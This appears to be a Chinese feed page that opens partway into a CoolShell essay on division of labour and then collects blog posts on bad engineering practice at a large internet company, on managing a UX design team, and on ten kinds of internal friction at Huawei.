为什么国家要从Made in China转型？不就是因为中国早期拿到的国际化分工就是这些没有技术含量的支持性的分工么？也因此而造就了大量的技能很一般的工人。为了能在全球化分工中能拿到更有质量的工作， 我们必然要从劳动密集型转向成知识密集型，必然要从支持性的工作转变为产出性的工作，必然需要单一技能型的技工转变为复合型的人才。

分工的温床和天敌

分工的温床主要有两个，

一个是成本和效率，资本家或企业主或一个国家为了追求更快成本更底的生产方式，他们必然会进行大规模的分工，伴随着分工，他们也会把一些知识或技术密集型的工作生生地变成劳动密集型的工作。然后层层外包。

一个是组织的大小，当一个组织的人数不断的变大，那么，你只能把工作和任务分得更细。这是被人数逼的，而不是实际需要的。这就是为什么我们可以看到很多大公司里要么人浮于事，要么瞎忙。

分工的天敌主要有一个——那就是技术！

每当新技术出现的时候，一些复杂的工序会被一台机器或是一种高超的技术所取代，不管是被技术自动化，还是被技术所简化，总之，以前本来需要数十人或是数百人才能干的事，突然之间只需要一个人就可以干完了。生产力得到了巨大的释放。所以，你这就是我们常听的—— 科技是第一生产力！

所以，当你面对一些难题的时候，比如线上的故障，或是一个复杂的软件生产活动，你是要加更多的流程更多的人呢，还是要用技术解决问题呢？一边是温床，一边是天敌，你想好了吗？

什么样分工才是好的

分工是必然的，因为很简单，你不可能一个人干完所有的事情，所以必需要分工， 分工不是问题，而问题则变成了——什么样的分工是理想的，是优雅的，是有效率的？

华君武漫画《科学分工？》

对于分工来说，一般来是一种组织和管理形为。就目前来说，现代的公司有两种分工模式，分别是 Control 和 Commitment 这两种分工。

Control就是控制型的管理，它是一种是基于工作技能的分工，于是员工会被这种分工分配到一个比较窄的技能里去完成一个非常明确的工作。

而Commitment则是面向员工的责任心和所承担的目标来分工并完成工作的。相比起前者来说，这样的分工在完成工作时，需要的不仅仅是技能，还需要更多的责任感。

这么说吧，

对于基于工作技能的分工，你会看到，这样的公司会把技术人员按编程语言来分，比如：Java、PHP、C/C++，或是分成：Web端、iOS端、Android端、后端、算法、数据。或是分成：开发，测试，运维。

对于基于Commitment的分工，你会看到他们这样分的，软件工程师（不分前后端，不分语言，不分运维，测试），因为这样的公司认为，他招的不是只有特定语言技能的Coder，而是而学多种语言多种技术能保证软件质量以及能对软件维护的软件工程师。这种公司的软件工程师是各种团队都可以去的，而他们的分工更多的是按软件的功能，软件的模块，或是软件的产品线来分工。

基于技能的分工已是过去时，而基于 Commitment 的分工是更有效率的分工的未来。你可以参看McAlister-Kizzier, Donna. 的文献 “ Division of Labor.” 。

小结

我说了这么多，不知道你看懂了我想表达什么没有？我不强加我的价值观，只希望你自己问自己几个问题：

1）作为工作的人，在分工中你会怎样选择？是成为一颗棋子，一颗螺丝钉，还是成为一个多面手？

2）作为工作的人，当你选择工作或任务的时候，你是选择做支持性的工作，还是做产出性的工作？你是选择做劳动密集型重复工作，还是做知识密集型的创新性的工作？

3）作为老板，你是想要什么样的员工？听话的只会加班和干重复工作的劳动力，还是有责任心的为企业和产品负责的员工？

4）作为老板，你是想通过分工释放低端员工的生产力，还是通过科技或技术去创造更NB的生产力？

5）作为老板，分工中的问题，你找到比较优的解了吗？比如，对于不同团队间的协议，你找到了吗？

可能，在不同的情况下你会有不同的答案。但是对我来说呢，无论是什么情况，我都只会有一个答案。

（全文完）

欢迎关注CoolShell微信公众账号

（转载本站文章请注明作者和出处酷壳 – CoolShell.cn ，请勿用于任何商业用途）

——=== 访问酷壳404页面寻找遗失儿童。 ===——

2014年10月23日 Leetcode 编程训练
2014年09月08日互联网之子 – Aaron Swartz
2014年05月26日「我只是认真」聊聊工匠情怀
2014年04月12日从Code Review 谈如何做技术
2013年12月16日 X-Y Problem
2013年11月13日编程能力与编程年龄
2013年07月24日加班与效率
2013年07月05日 IoC/DIP其实是一种管理思想

扒一扒知乎上的帖子——“为什么有些大公司技术弱爆了？”

Fri, 11 Dec 2015 01:36:32 CST

知乎上看到一个热帖，我觉得很有意思，叫做“ 为什么有些大公司技术弱爆了？”。我刚看到标题的时候，先入为主和刻板偏见了一下，正如同第一个回答一样，我皱了皱眉头，产生了对题主的鄙视之情；但是很快，读完帖子以后，我却立场明确地站到题主一边了。正如同里面有位回答：

看题目以为是题主傻逼，看了正文发现真的是公司傻逼。

上面这种情况其实发生的概率挺低的，但是我觉得这回是真的发生了。

但是令我感到遗憾的是，各式各样的回答里面，大部分居然都跳出来“教育”题主，表态这个世界就不是完美的，表态要妥协要接受这样的事实，要无奈地咽下这个现实的苦果。这个大面积出现的观点，太不正常了吧？

比如这样的话：

写好代码是程序员的节操。抱歉，节操多少钱一斤，北京三环商品房多少钱一平？

有的问题实在不是能够三言两语回答的，尤其是当面对整个行业的现实的时候，但是，可以很明确的是，当一个项目代码写烂掉的时候，这个项目也活不久了。

好吧，还是就事论事，下面就贴过来，然后逐一分析其中的内容。说说为什么大致上题主没问题，有问题的是这家公司，这个项目组。

=================================

今年年初，到一家互联网公司实习，该公司是国内行业龙头。

不过技术和管理方面，却弱爆了。

那里的程序员，每天都在看邮件，查问题工单。
这些问题，多半是他们设计不当，造成的。

>> 这就是所谓的operation的工作，大多情况下很无趣。这通常也意味着系统复杂，负载高，问题不容易轻易定位和解决，往往是历史遗留下来的大型系统。这并不奇怪，就像外人见到风光的AWS一样，之后内部的工程师才知道其中有多少维护性的工作，压力有多巨大。我记得不久前，看过一个principal talk，讲oncall的折磨使他成长，我想说法不假，只是很遗憾我还到不了这个层次。题主能看到问题多半出自设计不当，不错。而问题居然多半是因为设计不当，这个工程的初始架构人员，以及后来架构看护的骨干工程师，是要挨批评的。对于一个“国内行业龙头”，这样的事情是不该发生的。

代码写的一团糟，全是复制粘贴，连作者都没改，大家普遍不写注释，也不格式化，代码歪歪扭扭。

>> 这又是一件不该发生的事情。对于代码质量的追求各有说法，但是“复制粘贴”、“作者都没改”、“不写注释”、“不格式化”等等这样的字眼，我不相信一般的“龙头”公司能够接受。这些东西就像饭要一口一口吃一样，纵然有再大的野心，这些最最基本的细节，始终是不能忽略的。我觉得公司在招人的时候，既然是双向选择，就可以互亮代码，这样的代码摆出来看到以后，大家就不用浪费时间了。

一个项目里，httpclient竟然出现了四种。
一种是该公司研发部写的，
一种是老版本的开源项目，
一种是新版本的开源项目，
还有一种是开发人员造的轮子。

>> 最理想的情况当然是统一成一种。遇到这样多种实现，并且有自造轮子的情况，很多都是源于“历史原因”。当然，都能看到代码简单地“复制粘贴”了，不看以往代码实现，按照自己的理解来写也就并不奇怪了。当然，我可以接受因为某某特殊原因而导致一个httpclient有多于一种的实现方式（我在这里还写过造轮子的好处），但是居然有四种之多，我觉得凶多吉少了。

打接口请求响应日志，竟然不知道用拦截器。
打错误日志竟然不打上下文信息，每个人一种日志风格，千奇百怪。
许多重要的中间流程，居然不打日志。

>> 拦截器是个好东西，简化代码，避免啰嗦的日志影响业务逻辑的阅读。当然也有不好的地方，比如不直观、不好调试，以及有时候可能发生的性能问题等等。因此这个也不强求，根据项目实际情况而定。日志风格千奇百怪的问题，多是由于缺乏项目内部的管理造成的，各就各业，缺少沟通。开发人员不怎么样不说，这个项目经理更是弱爆了。重要流程不打日志，这一条只能帮助证明这群开发人员的工程意识还欠缺。

idea、eclipse、myeclipse的配置文件竟然全部传到项目里去了。

>> IDE用的不一样没事儿，但是这些IDE的配置文件也传上去了？这样的低级问题都出现……难道代码不用review么？

该公司混了两年的程序员，跟快递公司做查询接口，竟然不知道加密运单号。

>> 这样的信息是否要加密通常取决于调用两边的协议是怎么规定的，但是凡是涉及到隐私等等重要信息，都需要加密以减少信息泄露的风险。

所有服务间通讯，都没有设requestId，导致跟踪会话很困难。

>> 如果只是牵涉到服务之间的通讯，而通讯又只是简单的查询的话，没有requestId我觉得是可以接受的。至于会话的跟踪，如果这里指的是整个系统在一个request到达和处理的过程中，能够跟踪全部的或者重要的行为，比如调用了哪些接口，得到了哪些结果，做了哪些操作等等，这个功能确实是很有必要的，但是这个跟踪是可以在服务间通讯没有requestId做到的。比如在主系统中使用一个线程变量，在每次打印这些信息的时候把线程变量放置在前面，后续的日志分析工具就可以捕捉到这次会话交互的所有日志。

一个没什么qps的边缘接口，居然做消费者生产者+阻塞队列的异步模式。
显得你技术少是不是。
不知道异步会增加维护成本，提高测试难度吗？
而且，任务队里没有考虑持久化，赶上发布，丢了好多任务。

>> 没什么qps的边缘接口，做成这样的异步模式，看起来是有点杀鸡用牛刀了。但是这个事情要结合背景去分析，比如有可能是为了未来的扩展需要，有的接口可以预见到请求量会大幅增加。当然，结合整个上下文来看，我更倾向于是这个项目组疏于管理，然后来了一个自恃牛逼的“大拿”，整了一套高大上唬住大伙儿；或者是一个很想在项目中尝试新东西的小哥，就拿这东西练手了。至于任务队里没有持久化这个一条，依然要看具体的问题，不过通常情况下，如果要设计一个通用的任务队列，持久化是一个必选项。当然话也不能说死，你是要搞完全不在乎任务丢失的，或者任务调度者可以不断地重试那些挂掉的任务，于是你不在乎他们丢失的问题——不过想想好像这样的case挺少的。

读取一个小小的xml和exc配置文件，居然用流式解析，没见过这么二逼的，真是醉了。

>> 这和上面那个杀鸡用牛刀是同一个问题，已经阐述过了。

做优化全靠拍脑门拍大腿，难道不会用excel分析日志，用jprofile扫项目？
一个100以内的常数集合遍历，他也要写个优化算法进去，算法跟业务还搅在一起，一团乱麻。
每个人都在嚷嚷性能、算法、分布式计算……

>> 看起来这里指的是性能方面的优化，那么做优化至少包括两部分，一部分是在设计阶段就要分析需求层面的数据推出要“优化”到什么程度，另一部分才是题主说的根据日志和已有项目运行的数据“反推 ”（几年前写过一点这方面的东西）。当然，无论哪个，都比拍脑门和拍大腿靠谱得多。至于100以内常数集合遍历，也要写优化算法，这有时未必是件坏事，比如大家都在遵循最佳实践，不过结合上下文看（包括“算法和业务搅在一起”），我更倾向于是属于前面已经阐述过的问题。就这种状况下，每个人都还嚷嚷“性能、算法、分布式计算”就显得有点没抓到主要矛盾了，主要矛盾应该是把这些代码最基本的问题给解决了。我记得小时候练习书法的时候，老师批评过我：先不要尝试那些技巧，先把最基本的横平竖直给练好了。

几乎没有文档，全靠从代码反推逻辑。

>> 代码和文档经常是对立面，这样的状况并不稀奇。我觉得比较可行的做法是，有概要的文档，但是详细文档往往不现实，即使写了也难免过时。公司内部的文档太多太多是一坨浆糊。

有枚举他不用，非要在每个页面上，把枚举值挨个儿写死，知道后面改代码多么费劲吗？

>> 欠缺基本的程序员素质。

欺骗性的变量名，里面存储的是AES加密的，变量名后缀却写成了DES；里面存的是小写字母，却写成upperStr。
一个方法十几个参数，有三分之一是极其简略的缩写，注释肯定也没有的。
一个类写到三四千行是常事。

>> 看到这里我已经产生无力吐槽的感觉了。

开发自测，居然要把代码全丢到公共机器上，而且都是走svn，他们把svn当ftp用。
svn里面大量的无意义提交，一多半的提交连都编译不过去。
我看到有个应届生，改了两句话，马上提交，说是怕代码丢失。

>> 自测走svn其实不稀奇。就像自己开发一个新功能在git下可以cut一个新的branch，然后开发了，提交了，部署到各种机器上去。不过当ftp用显然是不对的。“一半多编译不过去的提交”，这个项目没有项目管理吗？开发机上不单元测试吗？至于“改了两句话，马上提交”，没看出有什么不妥，只要提交前的测试、review等等通过。

一个运行了两年的项目，spring的包扫描明显配错了，有些bean根本扫不进来，居然没有人发现。
一半的bean在spring管理下，另一半的bean他们自己写单例模式来实例化。

>> 第一条依然是项目组疏于管理的佐证。即便是主力程序员，也缺少对项目整体的责任感，或者是代码烂得让人难以提起兴致。第二条则是一个典型的不好的实践。有时候可能会需要这样的妥协，但是居然有一半的bean脱离Spring的管理，那最初引入Spring干嘛？

他们用mysql来做审计系统，出报表，有个报表要跑8分钟。
原来是有人用字符串来存多值（逗号分隔），sql里写了like，导致没有利用到索引。
为什么不用pg，pg在sql编程方面，功能更丰富，更适合做统计，它本身就支持数组。

>> 报表跑8分钟很正常。Sql用字符串存多值这个，没有利用索引，还是要分析具体问题，原则上我不觉得有什么问题。要想完美解决这个问题，还是在mysql里面，就得把多值拆解成多行，放到一张新表里面去。另外，也有一些NoSQL系统天然支持value多值，比如DynamoDB，不过这是题外话。至于为什么不用pg，这涉及到最初的技术选型，后人看的时候只是说说“如果用xxx就yyy了”当然容易，但是不清楚最初是否有技术层面的考量。当然，这个项目那么烂，也许是一开始图方便搞了mysql的prototype就上了。无论如何，有质疑的想法总是值得鼓励的。

程序员们都是得过且过的态度，怎么把代码灌进去，跑的通测试，就算交差了。

为什么大型互联网公司，技术和管理这么差劲，是怎么形成的？

文章未经特殊标明皆为本人原创，未经许可不得用于任何商业用途，转载请保持完整性并注明来源链接《四火的唠叨》

分享到：

关于UED团队管理的那点事

Sun, 20 Dec 2015 11:40:59 CST

昨天晚上跟几个做设计leader的朋友聊天，对方谈起目前的工作情况和难处，我听了后觉得很有感触。如果换做一年前的我在这里，也一定也会遇到同样的处境。

“产品经理觉得交互设计师的出现增加了一个环节，效率降低了”；

“我们设计好的方案产品经理挑了一部分做，然后功劳就变成他们的了”；

“我们辛辛苦苦设计的方案产品经理总是不采用，等上线后发现体验不好大领导又责怪我们，说UED是怎么做的设计”；

“我们想致力于用户体验的改进，比如整体统一弹框效果等等，但是产品经理觉得优先级不高，无限期的拖后”；

“我们的人手总是不够，一跟领导提领导就很不高兴，让我们想办法提升效率”；

“我们特别的辛苦，经常九点以后下班，周六还要上班，但是大领导觉得体验上并没有得到明显的提升。我觉得特别没有价值感”

“UED的kpi该如何设定，如何衡量工作成果？”

……

这些问题无非就是在说一件事： 设计leader在业务导向的部门找不到自己以及团队存在的价值。我介绍了一些自己在阿里的管理经验，给了他们一些建议（当然很多都是阿里倡导的设计文化）。

一、以业务为出发点，而非设计

其实做设计管理和做设计一样，都不能靠拍脑袋或是个人喜好，而是要先了解产品、业务方向，再制定合理的规划。明显感觉到朋友多少还是站在设计师的角度上考虑问题，而不是从业务的角度考虑，也没有想去了解产品经理的目标是什么。这样团队的辛苦产出经常被产品经理无限期押后，或是根本不采用也就不足为奇了。

对业务部门来说，业务的高速发展是最重要的，能排在最高优先级的都是生死攸关的问题。设计师最重要的是发挥自己的专业能力，帮助业务方解决业务问题，和业务共同成长。

在阿里，我们的工作并没有受到特别的限制：视觉设计师可以做用户调研；交互设计师可以提出业务方向的建议；产品经理可以画原型；技术可以去见客户。只要你有兴趣和能力，做任何事情都有机会，前提是围绕部门的业务目标。

那么怎样了解业务情况呢？我建议朋友找各条业务线的产品经理了解近期的业务发展情况，产品经理的业务目标、优先级判断标准以及短期、中期、长期的计划等，还有就是他们希望UED能够支持些什么。可以定期把这些内容汇总成表格的形式，这样对业务会有一个通盘的了解，制定设计方向才会心中有数。

二、 整体的规划，而非零散的执行

对业务情况有足够的了解后，设计管理者要结合具体专业能力、围绕业务目标制定相关策略（任何岗位都适用）。比如我们在设定目标时不仅考虑对业务的支持情况，还要考虑UED的公共支撑能力（规范、组件库、培训等），以及设计创新和沉淀（最好是和业务相关的，比如我们最近在做的B端产品设计研究）。

我给朋友讲了最近我正在做的团队规划：从团队目标（围绕业务的项目支持、公共支撑、设计创新、设计沉淀等等）到具体事情、人的分配、时间规划、再到对人的培养计划。这样既体现了UED的专业能力，又强调了对业务的重要作用。朋友说他们现在就是缺乏这种整体的规划，而是散点式的执行，所以效率不高又非常累，每个设计师的目标也不够明确，大家都做得非常盲目。所以作为管理者，心中不仅要有张业务大图，更要有张围绕业务目标的设计策略图。

三、提升附加值，砍掉价值低的工作

好了，现在有了业务大图，有了设计策略，还有了具体的工作规划，后面就要看怎么安排设计师的工作了。在这里我提几点和工作优先级相关的建议。

阿里一直强调设计师要做高附加值的工作。在阿里，运营类的工作基本上都是外包出去的，一些简单的banner可以通过在线工具快速配置，不需要设计师亲自动手。未来，设计师也会逐渐减少对创意要求不高的界面设计工作，取而代之的是利用设计规范、使用组件库等方式。设计师会把更多精力集中在难以被替代的高附加值事情上，比如品牌设计的研究及落地、通过沉淀能力及规范做好公共支撑等。

另外，对于一些业务探索期的产品，建议由产品经理来做交互设计，设计师可根据情况给予建议。因为对于一个新业务来说，理解成本是比较高的，产品经理要反复对设计师讲解自己的理念（有这个功夫都不知道自己做了多少版demo了），最后得到的结果还不见得是正确的，然后又要反复讲解；而对于一个全新的事物，设计师想一步到位设计好也是不太可能的。但如果有一个粗糙的产品或原型摆在那里，优化起来就简单多了，也便于参考前后数据对比来验证设计师的价值。所以在业务探索期，不建议交互设计师全程参与，性价比不高。

再有，不建议设计师长期加班。设计是一件充满创造性的事情，太劳累必然影响效率及质量。如果一个团队整天都在加班，领导就要想想工作安排是否合理了，是不是可以考虑像我前面所说的，把一些收效不大又很占用时间的工作砍掉，把精力放到更有价值的事情上。

四、平衡产品经理和设计师的关系

我很庆幸在我们部门，产品经理和设计师是完全平行、平等的关系，因为只有老板说了算。当然这种情况有利有弊，好处是每个人都是平等的，都有机会展示才华、实现价值，不会因为产品经理个人能力欠缺而导致巨大的失误，设计师也不必处处受产品经理压制；但坏处也显而易见：职责不清晰，事情推动起来效率较低，工作积极性受影响等等。

但可以肯定的是，不管任何一种组织形式，都不是完美的，适合业务情况的就是最好的。设计师是产品经理的下游环节也好，不是也罢，只要记住用ceo的心态围绕业务目标统筹规划，利用自己的专业能力为组织做出最大的贡献，那一切问题定能迎刃而解。所以在工作的过程中，要把产品经理当作最好的合作伙伴，而不是敌人或是竞争者。如果你觉得很难融入到产品团队，对产品经理有很多怨言，那很可能是因为你对业务的贡献还不够大，或是你没有想过如何通过你的能力帮助他让业务进展得更顺利，而只是从自己的专业角度考虑。

最后想说的是，人如鱼，组织如水。把水当作赖以生存之根本才能如鱼得水。设计师说到底是通过服务好内部组织来服务好外部客户，否则专业能力再强价值也无法得到体现。希望未来所有的设计师都能真正的在工作中体会如鱼得水的美妙感觉！

欢乐关注公众号“津乐道”

IT公司的十大内耗，别说你公司没有！

Fri, 09 Jan 2015 09:55:15 CST

小白叨一叨：当企业发展到一定时期时，会不可避免地沾染上“大公司病”。电信制造领域巨头华为也不例外，这是华为一位底层员工在10年所写的华为的十大内耗。

四年过去了，华为今日的成绩证明了任正非的努力是多么富有远见。今天我们再次重温这十大内耗，是因为它像一面镜子，能照出公司的管理问题，对当下传统企业转型仍具有十分重大的意义。知耻而后勇，知不足而奋进，敢于面对，勇于变革，才有新生!

最近和很多中基层优秀人才交流，面对复杂低效的现状，普遍有种无力感。本人和华为各阶层，下至贩夫走卒，上至皇亲贵胄都有着广泛的接触，也经历过很多领域和业务，相信视角也并非只是管中窥豹。同时也希望下文不至于引起普遍的反感，或者带来“不能生鸡蛋，凭什么评价鸡蛋”之类的指责。

1.无比厚重的部门墙

一般产品出了问题，我们都是互相推卸责任，经常最后发现谁的责任都不是。要么是客户没操作好，要么是环境不匹配。通信产品非常复杂，结合部模糊地带也很多，推卸掉责任还是很容易的。

还有就是内部协调起来特别困难，如果不是自己牵头或者自己部门牵头负责的项目，很难调动得了资源。我们很多主管一般都只提倡自己部门内部相互协作，希望协作中能给自己组织带来好绩效，当自己部门要协作外部门时，就开始推三阻四了。

这种自私的假协作最终带来内外都不协作。所以整个华为都在做布郎运动，这种运动对大企业来说是灾难性的。

2.肛泰式(膏药式)管控体系

先看些常见的现象：上级说减少会议，于是有用没用的会议都不让开了。领导说转测试三次不通过开发代表下岗，于是再也没有转测试不通过的了。发文说质量和进度冲突时质量要第一，于是就有人在项目可以GA了还故意拖几天，这样就显得更重视质量了。

当出现这些做假现象时，上级一般都认为是因为大家能力太差，监控措施不到位，反正都是员工的错，都是别人的错。于是为了避免做假，又设定更复杂的管控措施，增加复杂的监控组织。

于是组织越来越复杂，干活的越来越少，效率越来越低下。退一万步说就算真是员工能力不行，也应该设计适配员工能力的组织管理方式，或者去对员工培养，应该通过疏而不是堵的方式解决问题。

我们依然停留在19世纪的管理模式中，总希望通过条条框框这种表象的东西解决系统问题，试图把管理简单化、表面化。对于复杂知识型劳动，贴膏药式管控管理是解决不了问题的，因为背后的自由度太大了，太复杂了。

真正合理的方法：一是搭建平台激发员工，二是建立针对组织级的健康审视，一种对管理和氛围的促进方法，而不是现在对一些容易被欺骗的指标的审视。

3.不尊重员工的以自我中心

世界级企业以员工为本，他们把企业的发展和员工的发展统一起来。他们懂得，企业的持续发展体现为员工能力的持续，所以他们特别强调所谓的预期管理，即通过投资员工的未来，公司获得自己的未来。

我们的企业存在的问题就是只注重短期效果，注重人的短期业绩而不太注重能力的发展。管理者和员工之间的关系大多是典型的“绩效导向”，就是“你给我赚更多的钱，我就给你发更多的钱”，“你不给我赚钱，你就可以走人了”。

其实华为作为民营企业的翘楚，是具有吸引大家的先天优势的，一大批厌恶国家垄断型研究体系、厌恶外企的优秀人才，对华为充满了热爱，也有很多人抛弃高福利低劳动强度的垄断企业和研究所来到曾经热情洋溢的华为。

所以只要我们能按部就班地做，虚心真诚地对待大家，是可以留住很多人才的。但我们在人才的管理上落后别人一个时代，当大家都在为尊重人、激发人、培养人努力奋斗时，我们还在把员工当敌人看，当机器管。

4.“视上为爹”的官僚主义

我们经常看到，为了完成给上级一个汇报胶片，一大帮人持续钻研两三个月，胶片改了20几个版本，一张照片要翻来覆去地考量。为了满足上级的一次参观，把本来做实验用的地方用来做展台，购买大量不增值的东西。真是为了博妃子一笑，不惜大动干戈。

5.令人作呕的马屁文化

凡是领导说的都是正确的，凡是领导支持的大家都需要支持。无人愿意去忤逆领导的意愿，无人愿意和领导深入讨论问题，上上下下一片祥和之声，敢于直言的更是寥若晨星。

历年的成功也强化了这种颂扬和靡靡之音。这些“正确”和”成功”最后就导致不可收场，十分难堪。马屁文化一方面来源于上行下效，一方面也来源于过于刚性的执行力。大树底下寸草不生，大树虽然多次表示征言纳贤，也只不过象征性表示下罢了。

马屁文化导致机体缺乏自我免疫机能，从上到下都是一条裤子，当裤子非常完美时可能还能正确前行。但裤子一旦破了，露出屁股丢人也是难免的，因为没人敢去跟上级说，你的裤子破了，大家都睁一只眼闭一只眼。

6.权利和责任割裂的业务设计

当你把业务部门和开发部门割裂开来的时候，很容易带来前后方的冲突。开发部门负责提供炮弹，负责质量问题，承担的是责任;业务部门有开疆破土，呼唤炮火的权利，却不承担后面对资源负责的责任。

这导致业务部门或营销只会大量地去提需求，最后导致开发部门累的要死。

因为这里缺乏一个真正的责权一体的组织，缺乏一个能平衡前方和后方的真正责任人，或者说业务部门的责权分离导致了这个结果。

如果有个责任人，自己能去平衡需求和后端的资源，他自然会去考虑如何才能使资源最大化，自然会在需求和价值间平衡。我们现在的业务设计就比较混乱，业务和开发抢权，项目和资源抢权，缺乏一个真正的契约化客户化组织，必然导致一笔大糊涂账。

7.集权而低效的组织设计

有客户反馈，华为响应及时性比以前欠缺，及时性慢。有客户抱怨，华为内部流程僵化，过于教条，没有以前灵活。还有客户问，你们能帮忙把这个电缆换了么，我们回答是当然可以，不过需要在七个月以后。以前都是内部员工在喊，现在外面的声音也逐步强大起来了。

世界500强为了避免类似的组织累赘，往往会采用事业部形式，就是把组织分成若干个小组织，让小组织自己承担盈亏。通过完整团队的运作，进行短链条的管理和交付。

我们则执行的是长链条的管理和交付，市场和开发属于不同的体系，市场不把开发当人，开发则觉得市场没技术，出了问题就互相推委。有时为了完成个产品的某个牵涉大特征的优化，大体系的纠葛十分严重，直接导致效率十分低下，简直令人惊诧。

8.挂在墙上的核心价值观

IBM顾问说，核心价值观不是写在墙上的口号，而是一种提倡并能获得认可的行为，比如协同创新等。只有做了这些工作的人获得认可，这种行为才会广泛流传。就是说核心价值观要有反馈机制，要有利益牵引。

我们一方面号召大家要实践核心价值观，一方面缺乏有效的动作和价值支撑，最后导致流于形式。

比如团结进取等，虽然每次PBC沟通都会拿出来晾晾，但缺乏有效的解读和利益的支撑，加上局部化利益的考核导向，也使这一切流于形式，非但没能促进企业进步，还浪费了公司的人力物力。大企业的竞争靠价值观，我们这价值观显然是没什么竞争力的。

9.言必称马列的教条主义

我们在汇报材料或宣讲时，口头禅都是IBM如何、爱立信如何，或者某领导如何。领导看到大家材料也是问这是不是书上写的，有什么出处没，从来不会问我们是怎么样的。

大家觉得只要是进口的就是优秀的，只要是书上的就是可以应用的。这一方面说明大家过分迷信洋人，一方面说明心里没底，或者说对组织什么都不懂，只能生搬硬套。

10.夜郎自大的阿Q精神

一切都是在变化的，彼时的成功不能证明此时的成功，更不能证明未来的成功。如果曾经成功过就一直成功，大清朝的辫子军也会源远流长。

大家不去寻找成功的真正原因，辨析哪些才是我们的真正竞争力，躺在各种原因带来的历史功劳薄上，叼着大烟，幻想着自己未来美好生活，十分荒唐。当我们在快速发展时，很多矛盾都被掩盖了，一旦增速下降甚至减速，矛盾很容易就激化了。

或许，华为需要一场大的挫折，否则永远不可能有进步的勇气和发自内心的改善。或者说华为一场大的挫折是无可避免的，因为无人能阻止这个巨大的惯性。

本文作者：@五斗米；转载自：产品中国